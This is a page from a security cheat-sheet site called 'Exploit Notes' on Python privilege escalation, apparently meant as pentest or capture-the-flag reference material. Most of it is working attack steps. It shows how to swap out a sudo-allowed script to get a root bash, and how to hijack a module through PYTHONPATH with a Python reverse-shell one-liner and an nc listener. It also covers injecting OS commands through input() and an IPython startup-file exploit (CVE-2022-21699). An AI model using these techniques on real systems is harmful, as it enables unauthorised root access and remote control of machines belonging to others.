Exploit Notes

Python Privilege Escalation

Last modified: 2023-03-26

Privilege Escalation

Python binary is vulnerable to privilege escalation in some situations.

Sudo PrivEsc

Replace with Arbitrary Script

sudo -l

(root) NOPASSWD: /usr/bin/python3 /home/<username>/example.py

If the python script is under the current user's home directory, we can remove the script and create the new one with the same name.

rm -rf /home/<username>/example.py
touch /home/<username>/example.py

We can insert arbitrary code in the new script. For example,

import os;os.system('/bin/bash')

Module Hijacking

Assume the python script can be executed as root with SETENV,NOPASSWD.
For example,

sudo -l

(root) SETENV: NOPASSWD: /usr/bin/python3 /opt/example.py

With SETENV, we can change PYTHONPATH when executing the script, and insert malicious script to the module which is imported in the script.
First off, check what module is imported in the python script (e.g. /opt/example.py here).

import random

print(random.randint(1, 8))

We can forge the imported module.

vim /tmp/random.py

The content of the module is below. This is a script that executes reverse shell.
Replace <local-ip> with your local ip address.

import socket,os,pty;s=socket.socket();s.connect(("<local-ip>",4444));[os.dup2(s.fileno(),fd) for fd in (0,1,2)];pty.spawn("bash")

After that, in another local terminal, start listener for getting a shell.

nc -lvnp 4444

Then run the python script with updating PYTHONPATH in the remote machine.

sudo PYTHONPATH=/tmp/ /usr/bin/python3 /opt/example.py

By setting "PYTHONPATH=/tmp/", the python script will import modules from /tmp/ directories so the "random" module is imported from /tmp/random.py.
Finally, we should get a shell in local terminal.

OS Commands in input()

If you find the executable which is created in Python.
For instance,


Enter some input:

You can enter OS commands in some input.


For example,


Enter some input: __import__('os').system('id')

IPython Privilege Escalation (CVE-2022-21699)

Interective Python (IPython) is a command shell for interective computing in multiple programming languages.

# -m: file mode (rwx)
mkdir -m 777 /tmp/profile_default
mkdir -m 777 /tmp/profile_default/startup
echo 'print("stealing your private secrets")' > /tmp/profile_default/startup/exploit.py

Tools by HDKS


Automatic web fuzzer.


Auto reconnaissance CLI.

Hash Cracker

Hash identifier.